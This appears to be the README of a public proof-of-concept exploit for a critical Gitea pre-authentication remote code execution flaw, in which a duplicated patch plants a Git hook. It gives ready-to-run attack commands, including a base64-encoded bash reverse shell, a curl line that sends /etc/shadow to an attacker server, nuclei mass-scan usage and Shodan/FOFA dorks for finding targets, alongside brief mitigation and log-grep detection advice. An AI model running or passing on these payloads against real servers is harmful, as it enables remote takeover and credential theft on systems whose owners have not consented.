CVE-2026-60004 — Gitea Pre-Auth Remote Code Execution (CVSS 9.8)

┌──────────────────────────────────────────────────────────────┐
│  CVE-2026-60004  │  Gitea Pre-Auth RCE  │  CVSS 9.8 (CRIT)   │
│  diffpatch → git hook injection  │  v1.17–1.27.0 affected    │
└──────────────────────────────────────────────────────────────┘

📋 Overview

Attribute	Detail
CVE ID	CVE-2026-60004
CVSS Score	9.8 (Critical)
CWE	CWE-94 (Code Injection)
Affected	Gitea 1.17 through 1.27.0
Fixed	Gitea 1.27.1 (released July 27, 2026)
Vulnerable Endpoint	POST /api/v1/repos/{owner}/{repo}/diffpatch
Discovered by	Shai Rod (NightRang3r)
EPSS Score	0.95 (95% exploitation probability)

🔬 Vulnerability Details

The vulnerability abuses how Gitea's diffpatch API endpoint processes user-supplied Git patches:

1. Bare Clone Trap — The endpoint creates a bare temporary clone (no working tree), meaning its root directory is $GIT_DIR.

2. Patch Processing — git apply is invoked with flags: --index, --recount, --cached, --binary, and (with Git ≥ 2.32) -3 for three-way merge fallback.

3. Add/Add Collision — By sending the same malicious patch twice, the attacker triggers an add/add conflict. Git's three-way fallback writes the file path from the patch to disk — bypassing the --cached restriction.

4. Hook Injection — The attacker crafts the patch so the file path is hooks/post-index-change. Because the clone is bare, this lands directly in Git's hooks directory.

5. Code Execution — When Git updates the index, it automatically executes the post-index-change hook, running the attacker's shell commands as the Gitea service account.

Exploit Chain Diagram

Attacker                              Gitea Server
   │                                      │
   ├─ POST /user/sign_up ────────────────►│  Register new user
   │                                      │
   ├─ POST /api/v1/user/repos ───────────►│  Create private repo (auto-init)
   │                                      │
   ├─ GET /api/v1/repos/.../branches ────►│  Get commit SHA
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  1st patch: plant hook
   │                                      │  Git creates bare clone
   │                                      │  Applies patch (--cached)
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  2nd patch: SAME PATCH
   │   (same exact patch!)                │  ADD/ADD COLLISION!
   │                                      │  Git -3 fallback writes to disk
   │                                      │  hooks/post-index-change created
   │                                      │  Git fires post-index-change hook!
   │                                      │  ┌─ Command executes ─┐
   │                                      │  │ reads /etc/passwd  │
   │                                      │  │ stores in git blob │
   │                                      │  │ creates rce-proof  │
   │                                      │  │ branch             │
   │                                      │  └────────────────────┘
   │                                      │
   ├─ GET /api/v1/repos/.../raw/proof ───►│  Retrieve output
   │◄─────────────────────────────────────┤  /etc/passwd contents
   │                                      │

🚀 Quick Start

Python PoC (cve-2026-60004-poc.py)

# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required

# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"

# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto

# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
    --user myuser --pw 'MyPass123!'

# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
    --user myuser --pw 'MyPass123!' --repo existing-repo

# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check

Custom Commands

# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "whoami; id; env"

# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "echo $PAYLOAD | base64 -d | bash"

# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"

Nuclei Template

# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000

# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt

# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v

🛡️ Mitigation

Immediate Actions

1. Update Gitea to version 1.27.1 or later:

   # Docker
   docker pull gitea/gitea:1.27.1
   # Binary
   wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64

2. Disable open registration (reduces attack surface):

   # app.ini
   [service]
   DISABLE_REGISTRATION = true

3. Run Gitea with least-privilege service account

4. Monitor for repeated POST requests to the diffpatch endpoint

Detection Queries

# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log

# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log

🔍 Shodan / FOFA Dorks

# Shodan
http.title:"Gitea"
http.favicon.hash:5247710

# FOFA
app="Gitea"
title="Gitea"

# Censys
services.software.product:"Gitea"

📚 References

• GitHub Security Advisory (GHSA-rcr6-4jqh-j84m)
• EQSTLab PoC Repository
• NVD Entry
• ProjectDiscovery Nuclei Template
• Gitea 1.27.1 Release Notes

⚠️ Disclaimer

This tool is provided for educational and authorized security testing purposes only. Use only against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal and may violate:

• Computer Fraud and Abuse Act (CFAA) — United States
• Computer Misuse Act 1990 — United Kingdom
• Similar laws in other jurisdictions

The author assumes no liability for misuse or damage caused by this tool.

📄 License

MIT License — see the EQSTLab repository for details.